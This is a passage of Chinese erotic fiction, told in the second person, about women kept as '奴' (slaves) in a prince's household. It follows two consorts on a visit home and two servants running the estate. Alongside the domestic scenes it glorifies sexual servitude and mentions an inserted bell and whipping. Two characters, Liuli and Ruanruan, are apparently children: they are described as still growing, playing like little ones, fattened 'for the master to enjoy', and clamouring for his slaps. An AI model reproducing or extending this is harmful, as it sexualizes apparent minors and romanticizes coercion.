  这既是您给予的恩典,也是她们作为王府夫人,向外界、向她们身后的家族,无声地宣告您那份不容置疑的宠信。
  出发前一日,她们将丰奴与英奴召至正厅,做最后的交待。
  厅内,丰奴与英奴并肩跪在下方。一个身段丰腴,媚态入骨,即便只是静静跪着,那玲珑浮凸的曲线也散发着惊人的诱惑力;另一个则身姿挺拔,神情冷峻,如一柄出了鞘的利剑,沉静中透着锋芒。两种截然不同的气质,却同样是对您绝对忠诚的体现。
  婉奴的目光温和,她先开口,声音轻柔:“明日我与晴儿要离府一日,回各自家中看看。我们不在的这段时日,府里的中馈,便要辛苦你们二人了。”
  她看向丰奴,细细叮嘱道:“丰妹妹,你的心思细腻,各院的用度、膳食的调配、下人们的差遣,这些琐事便交给你。尤其琉璃和软软,她们正是长身体的时候,饮食上切不可怠慢。还有,天气渐凉,各院的炭火被褥,也要提前备好。”
  “奴婢遵命。”丰奴的声音甜得发腻,她微微挺起那傲人的胸脯,恭敬回话,“请婉夫人放心,奴婢定会将家里打理得井井有条,把两个小妹妹养得白白胖胖,只等爷回来享用。”她说话时,身子无意识地轻轻一晃,一声极其细微的“叮铃”声,若有若无地响了一下,随即隐没。
  英奴的耳朵动了动,面无表情地瞥了丰奴的背影一眼,但什么也没说。
  晴奴的目光则要锐利得多,她接过话头,语气沉静而威严:“丰奴长于内务,而英奴,”她的目光转向英奴,“你武艺高强,性子沉稳。府内的安防、门禁,以及奴仆的规矩戒律,便由你全权掌管。若有不长眼的东西敢在爷不在时生乱,不必请示,按王府的规矩,直接罚。出了事,我担着。”
  “是。”英奴的回答言简意赅,铿锵有力。
  “还有,”晴奴的语气加重了几分,目光在丰奴身上停留了一瞬,“爷的规矩,是府里的天。我知道你们都心心念念盼着爷回来,但各司其职,才是对爷最大的忠诚。不许因私废公,更不许因着自己那点念想,坏了府里的体统,都听明白了吗?”
  这话敲打的意味十足,丰奴的身子微微一颤,将头埋得更低了:“奴婢…明白了。”
  晴奴这才满意地点了点头,语气缓和下来,对英奴道:“琉璃和软软虽有婢女们看着,但她们玩闹起来没轻没重。你闲暇时,多去主院那边照看一下,莫让她们磕了碰了。”
  “奴婢遵命。定不负夫人所托。”
  交待完毕,婉奴和晴奴又去看了看琉璃和软软,叮嘱她们要乖乖听丰奴和英奴两位姐姐的话,才让她们各自散去。
  翌日清晨,两辆装饰着不同家族徽记的马车,从王府侧门驶出,分别驶向了城南的礼部尚书府,与城东的户部尚书府。
  --- **苏府** 婉奴的马车在苏府门前停稳时,她掀开帘子,看到了熟悉的回廊与门庭。一切都和记忆中一样,连门前那对石狮子,似乎都带着温和的笑意。
  她的母亲苏夫人早已在垂花门下翘首以盼,身边还站着一个眉眼与婉奴有七分相似的少女,正是她的妹妹苏映晞。
  “姊姊!”苏映晞第一个欢快地跑了过来,扶着婉奴下车,眼中满是孺慕与好奇。
  “我的婉儿!”苏夫人紧随其后,拉着女儿的手,眼眶瞬间就红了,将她从头到脚细细打量,“可算回来了。让娘看看,气色倒是不错,可这腰身,怎么比离家时更细了?王爷…待你可好?府中下人可有怠慢你?”
  “母亲,您看您说的。”婉奴扶着母亲,被家人包围的暖意让她心中酸涩又甜蜜,“爷待女儿极好。您看,这镯子,便是爷前些日子特意从西北寻了上好的玉料,命人打磨了送回来的,上面还刻着女儿的名字呢。府里的人,见了我都敬重得很,没人敢怠慢。”
  她抬起皓腕,那只温润的白玉镯在晨光下熠熠生辉。苏夫人看在眼里,又是欣慰又是心酸,连连点头:“好,好…王爷心里有你,为娘的就放心了。”
  婉奴的闺房,一如她离家时的模样,纤尘不染。苏映晞叽叽喳喳地缠着她,问着王府里的趣事。
  “姊姊,王府是不是特别大?比咱们家还大吗?王爷…是不是真如传说中那般英武不凡?”
  婉奴为妹妹理了理鬓边的碎发,眼中带着回忆的温柔:“王府自然是大的。至于爷…他比传说中,还要好上一千倍、一万倍。”她顿了顿,脸上泛起一抹红晕,“那时节,女儿家心思,总觉得王爷是天底下最英武的郎君。如今想来,能在他身边伺候,是我几辈子修来的福分。”
  这番发自肺腑的话,让苏夫人心中最后一点疑虑也烟消云散。女儿不是在强颜欢笑,她是真的…甘之如饴。
  午后,婉奴来到父亲的书房。礼部尚书苏大人,一身儒雅,正在临帖。他并非不苟言笑之人,见到女儿,立刻放下了笔,脸上露出慈和的笑容。
  “回来就好。”他没有问那些俗务,反而指了指墙上的一幅画,“还记得吗?这是你十岁时画的《春江图》,笔法稚嫩,为父却一直挂在这里。”
  婉奴看着那幅画,眼眶一热:“女儿记得。”
  “为父知道,把你送进王府,是委屈了你。”苏尚书轻叹一声,“但当年,你对王爷的心意,我与你母亲都看在眼里。与其让你将来嫁给一个不相干的人郁郁而终,不如让你去那个你心之所向的地方。好在,王爷是明主,更是重情重义之人。自他登基,恩赏苏家,追封你祖父为文恪公,又提拔你兄长文彦在翰林院任职,这份恩典,我苏家没齿难忘。你如今在府中,身份尊贵,为父也就安心了。”
  “父亲,”婉奴为父亲续上茶,声音坚定,“女儿从未觉得委屈。能为爷分忧,能为家族尽孝,是女儿的荣耀。”
  苏尚书欣慰地点点头:“你能这么想,最好不过。王爷行事,确有雷霆之威,亦有春风之暖。你在府中,要多与晴儿相互扶持,你们姐妹同心,才能更好地为王爷打理后宅。”
  当晚,苏府设宴,一家人其乐融融。婉奴的兄长苏文彦席间对她敬酒,言语间满是感激:“多谢妹妹在王爷面前为苏家争光,若非王爷提携,为兄如今还在国子监苦熬呢。”
  婉奴笑着饮下,家的温暖,让她几乎要醉倒在这片刻的安宁之中。
  --- 第二日,苏府更为热闹。林尚书一家,带着晴奴,应邀前来相聚。
  两家的马车在门口相遇,婉奴和晴奴几乎是同时从车上下来,四目相对,都从对方眼中看到了喜悦。她们上前,紧紧相拥。
  “姐姐,看你这气色,苏伯母定是给你炖了不少好东西。”晴奴打趣道。
  “你也不差,我看林伯母把你养得愈发水灵了。”婉奴笑着回敬。
  两位夫人看着女儿们亲密无间的样子,相视而笑。苏尚书与林尚书则并肩走入厅中,这两位在朝堂上呼风唤雨的大人物,此刻只是为女儿的归来而高兴的父亲。
  宴席设在花园的水榭之中,男人们在外间谈论朝政,女眷们则在里间说着体己话。
  苏尚书抚须道:“林兄,如今看来,我们当年的决定没有错。王爷雄才大略,又有仁君之心,实乃社稷之福。”
  户部尚书林大人则要实际得多,他端起酒杯,眼中精光一闪:“何止没错,简直是此生最正确的一笔投资。王爷登基后,不仅让我林家满门荣耀,更是将我那不成器的侄儿都安排进了兵部历练。如今,晴儿在王府地位稳固,我户部行事,也比往日顺畅百倍。这都是王爷的恩典,也是女儿们用心的结果。”
  里间,苏夫人拉着晴奴的手,心疼地说:“好孩子,你在王府要掌管那么大的家业,定是辛苦了。”
  晴奴的母亲林夫人则笑道:“姐姐过虑了,我们晴儿啊,从小就爱摆弄算盘,算账管家是她的乐趣。我只怕她性子太直,在府里得罪了人。”
  “母亲放心,”晴奴自信一笑,“女儿省得。再说,有婉姐姐在,我们姐妹俩,一个唱红脸一个唱白脸,什么事摆不平?”
  婉奴也笑着点头:“正是如此。府里的奴才们都敬畏我们呢。倒是有些小妖精,比如那个丰奴,天生的媚骨,总想着法子勾引爷,不过也翻不出什么浪花来。”
  她们二人交换了一个心照不宣的眼神,聊起了府中的琐事,那份亲密与默契,是外人无法介入的。她们是最好的姐妹,也是最坚固的同盟。
  --- **林府** 在苏家盘桓一日后,晴奴回到了自家的户部尚书府。
  与苏府的温文尔雅不同,林府的每一处都透着一股严谨与精明。晴奴的父亲林尚书,在他的书房里见的她。他的书房没有字画,只有一排排的书架,上面满是卷宗和账册。
  “回来了。”林尚书言简意赅,指了指桌上的一本账册,“这是今年秋税的初步核算,你看看。”
  晴奴并不意外,她拿起账册,纤细的手指在上面迅速地划过,很快便指出了其中两处数据的异常: “父亲,这两笔江南漕运的耗损,比往年高了近一成,事出反常,恐有猫腻。”
  林尚书眼中爆发出强烈的赞赏:“好!不愧是我的女儿!你的心思,比户部那些老油条还要缜密!此事我已在查。王爷将王府交给你打理,果然没有看错人。”
  他顿了顿,语气缓和下来:“晴儿,为父知道你聪慧,但也正因如此,你要比旁人更懂得收敛锋芒。在王爷面前,你的聪慧是你的资本;但在后宅,有时候,温婉比锋利更有用。这一点,你要多学学婉儿。”
  “女儿明白父亲的教诲。”
  傍晚时分,晴奴陪着母亲说话。林夫人不像苏夫人那般多愁善感,她拉着女儿的手,句句都是实在的关切:“王爷赏的玉镯,要日日戴着,这是体面。府里的开销用度,要记好账,这是根本。对下人,要有恩威,这是手段。你和婉儿,要拧成一股绳,这才是你们最大的依靠。”
  晴奴一一应下,心中温暖。这就是她的家,没有那么多诗情画意,却处处都是最实在的关爱与支撑。
  --- 三日后,婉奴与晴奴告别了家人,再次登上了返回王府的马车。车里装满了父母为她们准备的各色吃食与家乡特产。
  两辆马车在城门口汇合,并驾齐驱。
  车帘掀开,晴奴对婉奴笑道:“姐姐,此番回家,感觉如何?”
  婉奴的脸上带着满足的笑意:“心中从未有过的踏实。父母安康,家族荣耀,这一切,都是爷给的。”
  “是啊。”晴奴也感叹道,“娘家虽好,却终究是客居。不知为何,现在反倒觉得,回王府,才是回家。”
  婉奴深以为然地点点头。
  那里,有她们共同侍奉的男人,有她们需要守护的家业,有她们身为女人,最深刻的归属感。
  那里,才是她们的战场,她们的归宿。
  --- 傍晚时分,两辆马车一前一后,回到了王府。丰奴和英奴领着一众奴婢在门口迎接。
  “夫人回来了。”丰奴屈膝一福,姿态妖娆,脸上挂着恰到好处的笑容,“府中一切安好,琉璃和软软下午用了点心,此刻正在房里玩爷赏的不倒翁呢。」
  英奴则沉默地行了一礼,递上府中这两日的门禁记录与巡逻日志,一切井井有条。
  婉奴满意地点了点头,正要进门,晴奴却忽然开口,似笑非笑地看着丰奴:“丰妹妹这两日辛苦了,走路的姿态,似乎比往日更加…摇曳多姿了呢。”
  丰奴的脸色微微一变,夹紧了双腿,娇嗔道:“晴夫人又取笑奴婢…奴婢只是…只是想着爷,腿有些软罢了…”
  她说话间,那串被藏在身体深处的铃铛,因她紧张的肌肉收缩,发出了一声几乎微不可闻的“叮…”响。
  晴奴的嘴角勾起一抹了然的弧度,没有再说什么,只是意味深长地看了她一眼,便与婉奴一同向内院走去。
  回到主院,两人屏退左右,相视一笑。
  “看来,我们不在,府里也热闹得很。”婉奴轻叹道。
  “都是爷的安排。”晴奴坐下,端起茶杯,“丰奴是个天生的尤物,爷用那样的东西锁着她,既是惩罚,也是恩宠,是在帮她时时刻刻地“修炼”媚术呢。由她去吧,只要她不出格,这点小动静,反而能给这沉闷的日子,添些乐子。”
  婉奴点点头,眼中闪过一丝笑意:“说起来,我刚从母亲那里带了些她亲手做的桂花糕,正好给琉璃和软软送去。顺便也看看,我们不在,英奴有没有把她们管得太严。”
  “同去吧。”晴奴站起身,“我也有些日子没听那两个小东西吵着要“爷的巴掌”了,还真有些不习惯。”
  两人相视一笑,那份从小一起长大、又一同经历风雨的默契,尽在不言之中。她们是这座后宅的主人,是您最信任的左膀右臂,更是彼此最坚实的依靠。她们都明白,这满园春色,无论开得多么争奇斗艳,都只是为了等待同一个采花人的归来。
  番外 丰奴英奴管家三日游
  婉、晴两位妾室归宁的马车一驶出王府侧门,王府那层由夫人共同营造的、端庄典雅的“官方”气场,便像是被微风吹开的薄纱,露出了底下更加活色生香的真实面貌。
  --- 第一日:新官上任,鸡飞狗跳 清晨的议事厅,气氛前所未有的诡异。
  左手边的丰奴,今日穿了身海棠红的软缎小袄,越发显得腰细胸挺。她整个人像是没骨头似的倚在软垫上,一手有一下没一下地剥着手边的蜜橘,另一只手撑着下巴,一双桃花眼笑盈盈地看着堂下众人,仿佛在看一出有趣的戏。
  右手边的英奴,依旧是一身利落的劲装。但不知为何,今日她的坐姿显得有些僵硬。她挺直了背脊,双手按在膝上,眉头微蹙,眼神飘忽,似乎在努力理解“为什么管家也要坐在这里听这些人说些鸡毛蒜皮的小事”。
  “咳。”丰奴身边的贴身婢女——小巧玲珑的喜儿,轻咳一声,试图拉回自家主子快要飞走的神思。
  丰奴这才慢悠悠地将一瓣橘肉送入口中,声音甜得像刚从橘子里挤出来的蜜汁:“各位嬷嬷、管事们,都别拘束。夫人不在,这府里的事,就得靠大家齐心协力了。我呢,是个懒散惯了的,就负责听听大家的高见。英奴姐姐呢……”她拖长了尾音,促狭地看了一眼身旁如坐针毡的人,“英姐姐负责……镇宅。”
  “噗嗤。”底下不知哪个小管事没忍住笑了出来,又赶紧低下头。
  英奴的脸颊似乎红了一下,她瞪了丰奴一眼,闷闷地说:“说正事。”
  膳房的张大娘最先上前,她对丰奴是打心底里佩服的,这位主子不仅懂吃,还总能想出些新奇又美味的点子。
  “丰主子,这是今日的菜单,您瞧瞧?”
  丰奴接过单子,只扫了一眼便笑道:“哎呀,张大娘,今儿给琉璃和软软的菜单也太素了些。那俩小东西正是长身体的时候,得喂得油光水滑的才好。这清炒豆芽去了,换成‘松仁玉米’;这冬瓜汤也寡淡,换成‘山药排骨汤’。哦对了,再给她们加一道‘糖醋里脊’,酸酸甜甜的,她们准喜欢。”
  “哎,好嘞!还是丰主子疼她们!”张大娘喜滋滋地退下了。
  紧接着,负责采买的李管事上前,一脸为难:“丰主子,英主子,有个事儿……西街新开了家胭脂铺子,里头的‘醉仙颜’据说能让女人年轻十岁,府里的小丫头们都传疯了,好几个都来求我,想预支月钱去买。这…不合规矩,可又闹得人心惶惶……”
  丰奴眼波一转,还没开口,英奴就皱起了眉:“预支月钱?胡闹!府中规矩,月钱按月发放,不得短缺,亦不得预支。告诉她们,再敢喧哗议论此事者,罚扫院子一个月。”
  李管事吓得一缩脖子。
  “哎,英姐姐,别这么严肃嘛。”丰奴娇笑着打圆场,“小姑娘家爱俏,是天性。这事堵不如疏。”她对李管事说:“这样,你去打听打听,那‘醉仙颜’到底是个什么成分,若是些寻常花草,无毒无害,你就去采买些原料回来。我这儿有个方子,比那‘醉仙颜’好用百倍,到时候做出来,府里上上下下的丫头嬷嬷们,每人赏一盒。也让她们知道,咱们王府的姑娘,用的东西,外头花钱都买不着。”
  这话一出,满堂欢呼。几个小丫头的眼睛都亮了。
  李管事佩服得五体投地:“丰主子高明!”
  丰奴得意地朝英奴挑了挑眉,那眼神仿佛在说:“瞧见没,这才是管家之道。”
  英奴张了张嘴,似乎想说什么,最后只是从鼻子里“哼”了一声,把头转向了一边。她虽然觉得丰奴的方法有些“不务正业”,但不得不承认,效果确实比她那套简单粗暴的“罚扫院子”要好得多。
  --- 第二日:猫逗木头,其乐无穷 府里的事务,在丰奴八面玲珑的手腕下,很快就理顺了。她每天只在议事厅坐上半个时辰,把大方向定了,剩下的就交给下面的人去办,自己则乐得清闲。
  而英奴,则成了最尽职尽责的“巡查官”。她每日都会把王府上上下下走个遍,确保没有任何安全隐患。
  这日午后,丰奴摇着团扇,在花园的凉亭里看琉璃和软软玩耍。两个小家伙正围着一只雪白的小兔子,学着兔子跳,玩得咯咯直笑,天真烂漫得像两颗露珠。
  “丰姐姐!你看你看!小兔子的尾巴好短呀!”软软献宝似的抱起兔子,跑到丰奴面前。
  “是呀,因为它把长长的尾巴,藏起来了呀。”丰奴笑眯眯地刮了下她的鼻子。
  这时,英奴巡逻至此。她远远看着这一幕,脚步顿了顿,眼神中流露出一丝连她自己都未察觉的柔和。
  丰奴眼尖,立刻看到了她,扬声喊道:“英姐姐,快过来歇歇脚!这么大的太阳,你总在外面晒着,当心晒成块黑炭头,到时候爷回来可就不喜欢咯!”
  英奴的脸“腾”地一下就红了,她快步走过来,又羞又恼:“胡说八道什么!爷、爷才不是那等以貌取人的人!”
  “是吗?”丰奴促狭地凑近她,压低了声音,热气吹在她耳边,“可我怎么听爷说,就喜欢英姐姐你这身结实的皮肉,摸起来手感好,不像我们这些娇滴滴的,一碰就要坏了似的。”
  “你、你……”英奴被她这露骨的话调戏得说不出话来,耳朵红得快要滴血,只能一把将她推开,结结巴巴地呵斥,“不知羞!”
  “哎呀,这有什么好羞的。咱们都是爷的人,说的也是爷的事,关起门来,不都是一家人嘛。”丰奴咯咯直笑,笑得花枝乱颤。
  一旁的琉璃和软软看得一脸茫然。
  “丰姐姐,英姐姐,你们在说什么呀?”琉璃好奇地问。
  丰奴一把将英奴拉着坐下,对两个小家伙说:“我们在说,你们英姐姐害羞了呢。你们快来帮我劝劝她,让她别老是板着个脸,笑一笑多好看呀。”
  软软立刻跑到英奴身边,拉着她的手,仰起小脸,用最甜的声音说:“英姐姐,笑一个嘛!你笑起来,就像天上的太阳一样好看!”
  被这纯真的请求击中,英奴浑身的僵硬都融化了。她看着软软清澈的眼睛,嘴角不受控制地,微微向上扬起了一个极小的弧度。虽然短暂,却如同冰雪初融,惊艳了时光。
  丰奴在一旁看得入了迷,喃喃道:“啧啧,真是个木头美人。也难怪爷喜欢用鞭子抽你,怕是只有疼到极致,才能让你露出这般动人的模样吧。”
  英奴刚缓和的脸色,瞬间又涨得通红。
  --- 第三日:深夜厨房,别样温情 深夜,英奴结束了最后一次巡逻,习惯性地走向厨房。这是她多年来的习惯,在军中时,夜里巡营归来,总会去伙房找点吃的。
  厨房里竟然还亮着灯。
  她推门进去,只见丰奴正系着围裙,在一个小炉子前忙碌着。空气中弥漫着一股香甜的味道。
  “这么晚了,还不睡?”英奴有些意外。
  “睡不着。”丰奴回头看了她一眼,眼中带着一丝平日里少见的疲惫,“心里头装着事,就烙饼似的,翻来覆去。想着起来给琉璃和软软做点牛乳布丁,她们明日一早醒来看到,定会高兴。”
  她顿了顿,又从旁边端过一碗热气腾腾的面,递给英奴:“知道你这个时辰会过来,给你下的。阳春面,没什么花哨,垫垫肚子吧。”
  英奴愣住了。她看着碗里清亮的汤,翠绿的葱花和卧得恰到好处的荷包蛋,心中涌起一股暖流。这么多年,除了您,还从未有人记得她这个习惯。
  她默默地接过碗,坐在一旁,哧溜哧溜地吃了起来。
  丰奴看着她,轻声说:“英姐姐,我知道你觉得我轻浮,不正经。可这王府里,咱们都是一样的。离了爷,咱们什么都不是。我所做的,不过是想让爷开心,想让他永远记得我。”
  她的声音里,带着一丝不易察觉的脆弱。
  英奴吃面的动作停了下来。她抬起头,看着灯火下丰奴那张卸下了所有媚态的脸,忽然觉得,这个女人,其实和自己一样,都只是一个用尽全力,想要抓住那束光的人罢了。
  “你…也很好。”英奴憋了半天,才说出这么一句。
  丰奴愣了一下,随即笑了,那笑容,比平日里任何一次都要灿烂、真诚。
  “面…好吃。”英奴又补充了一句,然后埋头继续吃面,只是那通红的耳根,暴露了她此刻的窘迫。
  厨房里,灯火温馨。一个媚骨天成,一个木讷如钢,两个截然不同的女人,在这一刻,仿佛找到了某种奇妙的平衡与共鸣。
  三日时光,就在这般时而鸡飞狗跳,时而啼笑皆非,时而又温情脉脉的氛围中,悄然流逝。当婉、晴两位夫人的马车回到王府时,丰奴和英奴早已并肩等候在门口。
  一个依旧笑靥如花,一个依旧神情…嗯,不那么紧绷了。
  看着她们之间那微妙又和谐的气场,晴奴和婉奴相视一笑,心中了然。看来,她们不在的这几日,府里,发生了一些非常有趣的故事呢。